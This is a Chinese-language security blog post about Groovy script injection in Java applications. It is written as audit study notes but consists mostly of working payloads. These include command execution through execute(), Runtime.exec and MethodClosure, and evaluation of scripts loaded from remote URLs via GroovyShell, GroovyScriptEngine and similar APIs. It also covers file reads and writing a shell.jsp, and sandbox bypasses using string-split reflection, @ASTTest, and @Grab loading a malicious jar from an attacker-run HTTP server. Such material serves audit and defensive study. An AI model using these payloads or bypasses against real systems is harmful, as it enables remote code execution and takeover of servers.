Groovy脚本执行
发表于:2025-08-04 | 分类: Java

Groovy脚本执行

前言

在审计一套源码的时候,mt告诉我的漏洞中,有一个从来没见过没听过的漏洞 —— Groovy脚本执行,今天简单看一下吧

导入依赖如下:

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.7</version>
</dependency>

Groovy命令执行

Groovy 是一种基于 Java 平台的面向对象编程语言

直接执行

Groovy脚本允许在脚本中执行系统命令
1
2
3
"calc".execute()
Runtime.getRuntime().exec("calc")
"${'calc'.execute()}"

想要回显执行命令的结果,用.text来接受回显,println来输出回显

1
2
println 'whoami'.execute().text
println "${'whoami'.execute().text}"

MethodClosure执行

MethodClosure允许将方法封装成闭包,便于执行

有两种方式:

使用Runtime.getRuntime.exec()

1
2
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
mc.call("calc");

直接执行字符串命令

1
2
MethodClosure mc = new MethodClosure("calc", "execute");
mc.call();

Java中执行Groovy脚本

在Java中有多种方式可以执行Groovy脚本

GroovyShell

GroovyShell 类用于执行 Groovy 脚本,支持多种数据源

字符串执行

1
2
3
GroovyShell groovyShell = new GroovyShell();
String cmd = "\"whoami\".execute().text";
System.out.println(groovyShell.evaluate(cmd));

文件执行

1
2
3
GroovyShell groovyShell = new GroovyShell();
File file = new File("src/main/java/com/groovy/TestGroovyScript.groovy");
System.out.println(groovyShell.evaluate(file));

远程URL执行

1
2
3
GroovyShell groovyShell = new GroovyShell();
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
System.out.println(groovyShell.evaluate(uri));

GroovyScripteEngine

GroovyScriptEngine 用于从指定源加载和执行 Groovy 脚本

本地文件加载脚本

1
2
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
scriptEngine.run("TestGroovyScript.groovy", "");

远程URL加载脚本

1
2
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("exp.groovy", "");

GroovyScriptEvaluator

使用 GroovyScriptEvaluator 执行 Groovy 代码,支持 StaticScriptSource 和 ResourceScriptSource

使用StaticScriptEvaluator

1
2
3
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
System.out.println(groovyScriptEvaluator.evaluate(scriptSource));

使用ResourceScript

1
2
3
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));

GroovyClassLoader

GroovyClassLoader 用于在 Java 中加载和调用 Groovy 类
1
2
3
4
5
6
7
8
9
10
GroovyClassLoader classLoader = new GroovyClassLoader();
Class clazz = classLoader.parseClass("class Test {\n" +
" static void main(String[] args) {\n" +
" GroovyShell groovyShell = new GroovyShell();\n" +
" String cmd = \"\\\"whoami\\\".execute().text\";\n" +
" println(groovyShell.evaluate(cmd).toString());\n" +
" }\n" +
"}");
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main", "");

ScriptEngine

使用 javax.script.ScriptEngine 执行 Groovy 脚本
1
2
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));

其他利用方式

文件读取

1
text=newFile("C:\\Windows\\system.ini").eachLine{printlnit;}

文件写入

1
newFile("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write('HelloAl1ex');

绕过沙箱

有些情况下,会使用groovy沙箱机制保护敏感脚本的执行,在一些情况下可以绕过
1
2
3
4
5
<dependency>
<groupId>org.kohsuke</groupId>
<artifactId>groovy-sandbox</artifactId>
<version>1.6</version>
</dependency>

Java反射Bypass

有些情况在沙箱中,通过匹配调用方法来进行拦截,那么通过反射调用,即可绕过拦截
1
2
3
4
5
6
7
8
//常规反射调用
"xxx.forName("java.lang.Runtime").getRuntime().exec("id").getText()
//拼接反射调用
import java.lang.reflect.Method;
Class<?>rt=Class.forName("java.lan"+"g.Run"+"time");
Methodgr=rt.getMethod("getRun"+"time");
Methodex=rt.getMethod("exe"+"c",String.class);
ex.invoke(gr.invoke(null),"cal"+"c")

@AST注解执行恶意类

利用AST注解能够执行断言从而实现代码执行,同时可以利用该方式Bypass沙箱
1
this.class.classLoader.parseClass('''@groovy.transform.ASTTest(value={assertRuntime.getRuntime().exec("calc")})defx''');

@Grab注解加载远程恶意类

Groovy的Grape机制允许开发者在不修改ClassPath的情况下,动态地引入Jar依赖,那么我们也可以使用这个特性,动态引入恶意代码,从而导致RCE

如果使用这种方式绕过沙箱,那么要求对方服务器存在ivy依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>

然后我们需要编写一个恶意的EXP类,执行我们的恶意代码,并打包为jar包

1
2
3
4
5
6
7
#编译
javac Exp.java
#创建服务提供者配置文件
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
#打包jar包
jar cvf poc-0.jar Exp.class META-INF
1
2
3
4
5
6
7
public class Exp {
public Exp() {
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch (Exception e) { }
}
}

然后使用将jar包上传到服务器,使用Python开启一个http服务

1
python3 -m http.server 8000

通过上面任意一种方式,执行以下groovy脚本

在执行该groovy脚本时,会从远程地址加载恶意jar包并加载,实例化我们的恶意类,从而执行系统命令RCE

1
2
3
4
5
6
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')
上一篇:
Agent内存马
下一篇:
Java中的模板注入